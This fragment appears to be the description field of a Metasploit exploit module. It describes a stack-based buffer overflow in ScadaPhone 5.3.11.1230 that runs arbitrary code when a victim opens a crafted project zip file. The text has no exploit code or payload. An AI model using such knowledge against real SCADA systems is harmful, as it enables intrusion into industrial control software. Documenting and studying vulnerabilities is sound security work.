'Description' => %q{  
This module exploits a stack-based buffer overflow vulnerability in  
version 5.3.11.1230 of scadaTEC's ScadaPhone.  
  
In order for the command to be executed, an attacker must convince someone to  
load a specially crafted project zip file with ScadaPhone.  
By doing so, an attacker can execute arbitrary code as the victim user.
